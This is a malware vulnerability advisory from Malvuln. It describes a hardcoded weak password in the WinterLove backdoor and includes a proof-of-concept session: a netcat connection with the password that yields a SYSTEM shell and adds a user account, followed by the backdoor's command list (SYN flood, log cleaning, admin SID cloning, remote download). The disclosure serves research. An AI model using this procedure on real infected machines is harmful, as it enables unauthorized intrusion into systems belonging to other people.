Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c6c81e8ba0a7b9da6216a78dfeccec8d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinterLove.i
Vulnerability: Hardcoded Weak Password
Description: The WinterLove malware requires authentication for remote user access. However, the password "plunix" is weak and hardcoded in plaintext within the executable. Interestingly, the password also suffers from reuse, even used as part of the domain name for the website and the authors handle. Therefore, just trying the domain name and or handle as the password is enough without even inspecting the binary. Third-party attackers who connect will get handed a shell with SYSTEM integrity.
Type: PE32
MD5: c6c81e8ba0a7b9da6216a78dfeccec8d
Vuln ID: MVID-2021-0341 
Disclosure: 09/09/2021


Exploit/PoC:
nc64.exe x.x.x.x 3043
Need Password:plunix
*************welcome to winter love**************
---[ winter love v2.1 beta, by plunix         ]---
---[ HomePage: http://plunix.126.cn           ]---
CurrentDirect: C:\WINDOWS\system32
? for help
[plunix@root]#shell
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.

? for help
[plunix@root]#?
shell (to the cmd shell)
clean (to clean log)
ps (get the process)
pss (get the service)
kp (kill the process)
ks (kill the service)
startsock5 (Start Sock5 Proxy Server)
stopsock5 (Stop Sock5 Proxy Server)
startftp (start ftp server)
stopftp (stop ftp server)
starthttp (start http proxy)
stophttp (stop http proxy)
syn (SYN Flood)
sendfile (send or receive file)
info (Get The System Information)
getip (Get All Local IP)
starttln (Start Telnet Services)
stoptln (Stop Telnet Services)
luser (Enum The User in The Computer
clone (Clone Administrator SID)
opents (Open Terminal Server (3389))
closets (Close Terminal Server (3389))
admin (Add Administrator User)
remove (remove this service)
http://.../exe (Download)
quit (quit)


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